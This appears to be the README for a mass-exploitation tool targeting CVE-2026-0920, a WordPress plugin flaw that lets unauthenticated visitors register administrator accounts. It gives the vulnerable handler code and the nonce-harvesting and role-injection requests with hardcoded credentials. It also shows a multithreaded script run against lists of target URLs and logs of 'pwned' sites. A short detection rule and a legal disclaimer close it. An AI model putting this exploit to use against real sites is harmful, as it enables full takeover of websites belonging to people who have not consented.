// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);

public function ajax_register_handle() {
    $actions = json_decode(stripslashes($_POST['actions']), true);

    foreach ($actions as $req) {
        if ($req['action'] === 'register') {
            $data = $req['data'];

            $user_data = [
                'user_login' => $data['username'],
                'user_pass'  => $data['password'],
                'user_email' => $data['email'],
                'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
            ];

            // No validation of $data['lakit_bkrole'] against allowed roles
            wp_insert_user($user_data); // Administrator created silently
        }
    }
}

Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)

Search HTML/JS for:
  "ajaxNonce": "<value>"         ← Inline JSON config
  ajaxNonce: '<value>'           ← JS variable
  data-ajaxnonce="<value>"       ← HTML attribute

Nonce is publicly accessible — no login required.
  ↓
ajaxNonce extracted ✔️

──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php

  action  = lakit_ajax
  _nonce  = <extracted nonce>
  actions = {
    "req1": {
      "action": "register",
      "data": {
        "email":                  "[email protected]",
        "password":               "adminSA",
        "username":               "Nx_admin",
        "lakit_field_log":        "yes",   ← use supplied username
        "lakit_field_pwd":        "yes",   ← use supplied password
        "lakit_field_cpwd":       "no",    ← skip password confirm
        "lakit_bkrole":           "1",     ← trigger admin role injection
        "lakit_recaptcha_response": ""
      }
    }
  }
  ↓
Administrator account silently created ✔️

──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
  log = Nx_admin
  pwd = adminSA
  ↓
Session cookies obtained → GET /wp-admin/plugin-install.php
  ↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️

pip install requests colorama

CVE-2026-0920/
├── CVE-2026-0920.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: pwned targets + credentials

ADMIN_EMAIL    = "[email protected]"   # Email for the new admin account
ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account

https://target1.com
https://target2.com
http://target3.com

python CVE-2026-0920.py

Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50):             20

[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK

============================================================
[ SUCCESS BLOCK ]
Site        : https://target.com
Result      : SUCCESS
AJAX OK     : YES
FULL ADMIN  : YES (login + plugin install access)
============================================================

https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3

Stage 1 — AJAX Response Analysis
  Checks for success markers in the JSON response:
    • "created successfully"
    • "success":true
    • "type":"success"
    • "status":"success"

Stage 2 — Real Login + Plugin Install Access Test
  1. POST /wp-login.php with injected credentials
  2. GET /wp-admin/plugin-install.php
  3. Confirm 200 response + plugin upload form present
  4. Confirm no redirect back to wp-login.php

Only BOTH stages passing = TRUE SUCCESS reported

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}

IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "lakit_ajax"
AND request.body   CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)

THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, executing, or modifying this script, you explicitly agree:

  • You hold EXPLICIT, WRITTEN authorization from the owner of every
    target system you test. No exceptions. No grey areas.

  • You are operating within a formally scoped, authorized penetration
    testing engagement or a controlled lab environment.

  • You will NOT use this tool against any system, network, or
    infrastructure without documented legal permission.

  • Nxploited and all contributors bear ZERO liability for unauthorized
    use, data loss, system damage, legal proceedings, or criminal
    prosecution arising from the use of this tool.

Unauthorized use of this exploit constitutes a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
  — And all equivalent national and international cybercrime legislation.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.